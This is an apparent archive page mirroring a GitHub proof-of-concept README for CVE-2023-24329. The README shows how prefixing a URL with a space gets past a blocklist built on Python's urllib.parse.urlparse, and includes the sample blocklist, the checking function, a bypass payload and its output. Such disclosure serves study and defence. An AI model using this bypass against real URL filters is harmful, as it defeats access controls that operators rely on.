关联漏洞
标题:Python 输入验证错误漏洞 (CVE-2023-24329)Description:Python是Python基金会的一套开源的、面向对象的程序设计语言。该语言具有可扩展、支持模块和包、支持多种平台等特点。 Python 3.11之前版本存在输入验证错误漏洞,该漏洞源于允许攻击者通过提供以空白字符开头的URL来绕过黑名单。
Description
Example of CVE-2023-24329
介绍
# Intro
The URL parsing functions focus on splitting a URL string into its components, or on combining URL components into a URL string.
- [urllib.parse.urlparse](https://docs.python.org/3/library/urllib.parse.html#url-parsing)
**Simply** `urllib.parse` used for parsing urls, we can bypass it with adding blanks before the url. This happens in python `3.11.4` and before.
# PoC
Let's break down `example.py`
Here is a set of websites that you should not access:
```python
blocked_list = [
"http://example.com/",
"http://example2.com/"
]
```
This function checks if website is on blocked list or not, if it's on block list it should return `URL Blocked`
```python
def is_url_blocked(url):
parse = urllib.parse.urlparse(url).geturl()
if parse in blocked_list: return 'URL Blocked'
else: return 'Bypassed'
```
Now I added two urls and I check if any of them is blocked and cannot be accessed:
```python
payload1 = " http://example.com/"
payload2 = "http://example.com/"
print(
is_url_blocked(payload1),
"\n",
is_url_blocked(payload2)
)
```
`payload1` is where i bypassed `is_url_blocked()` because adding long space before the url will bypass `urllib.parse.urlparse(url).geturl()` it would not execute as excpected.
That's why the output is
```
Bypassed
```
But on `payload2` we get
```
URL Blocked
```
# Support
If you would like to support me with donation, I recommend you to give it to someone who really need it please. If you do so then consider that i earned your support.
<a href="https://www.buymeacoffee.com/jawadpy" target="_blank"><img src="https://cdn.buymeacoffee.com/buttons/v2/default-green.png" alt="Buy Me A Coffee" style="height: 60px !important;width: 217px !important;" ></a>
文件快照
[4.0K] /data/pocs/36a2d3a2f97e35e4e33191706ed0f2d257edb98c
├── [ 468] example.py
└── [1.7K] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →